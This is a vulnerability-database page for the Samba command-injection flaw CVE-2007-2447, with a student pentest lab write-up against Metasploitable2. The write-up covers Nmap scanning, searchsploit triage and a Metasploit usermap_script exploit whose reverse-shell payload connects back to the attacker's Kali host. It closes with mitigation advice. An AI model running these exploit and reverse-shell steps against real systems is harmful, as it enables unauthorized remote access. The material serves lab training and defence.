关联漏洞
标题：
Samba MS-RPC Shell命令注入漏洞
(CVE-2007-2447)
描述：Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时，通过对/bin/sh的MS-RPC调用提交了恶意输入的话，就可能允许攻击者以nobody用户的权限执
描述
Hands-on pentest project using Kali Linux vs Metasploitable2. Includes full workflow: Nmap scanning, enumeration, Metasploit exploitation (Samba CVE-2007-2447), post-exploitation validation, and mitigation steps. Repo contains commands, outputs, and report showing both offensive techniques and defensive recommendations.
介绍
**Internship Project 2 — Penetration Testing on Metasploitable2**
- Summary:
This project demonstrates a complete penetration testing workflow: reconnaissance, enumeration, exploitation, post-exploitation validation, and mitigation recommendations. The target used is Metasploitable2 and the attack box is Kali Linux.
- Tools:
*Kali Linux (attacker)*
*Nmap (recon)*
*Metasploit Framework (exploitation)*
*SearchSploit / Exploit-DB (triage)*
Steps performed:
1. Scanning:
`sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x`
Identified services (examples): vsftpd 2.3.4 (port 21 banner), Samba smbd 3.x (port 445).
2. Enumeration & Triage:
`searchsploit --nmap scans/target.xml
searchsploit samba 3.0.20`
Matched services to potential exploits (vsftpd backdoor, Samba username-map).
3. Exploitation
- vsftpd backdoor (CVE-2011-2523) attempted — Nmap banner present but service unresponsive; exploit did not create a session.
- Samba (CVE-2007-2447) exploited successfully:
`msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.x.x
set payload cmd/unix/reverse
set LHOST <kali-ip>
set LPORT 4444
exploit
`
Obtained interactive shell and validated user context.
4. Post-Exploitation
- Verified system info:
`
id
uname -a
`
- Collected evidence and screenshots.
5. Mitigation Recommendations
- Regular scanning and asset inventory.
- Prompt patching and version upgrades (update Samba).
- Restrict access to critical ports (firewall rules).
- Disable unused services and anonymous access.
- Apply least privilege to shares and accounts.
- Network segmentation and logging/monitoring.
- Incident response planning.
**Result**
Successfully obtained a remote shell via a Samba exploit, documented the attack path, and produced a mitigation plan. Full logs and command outputs are stored in the scans/ folder.
文件快照
[4.0K] /data/pocs/b5a12ac946bc5ce89aa02a36c28592915c448128
├── [1.1K] LICENSE
└── [1.9K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。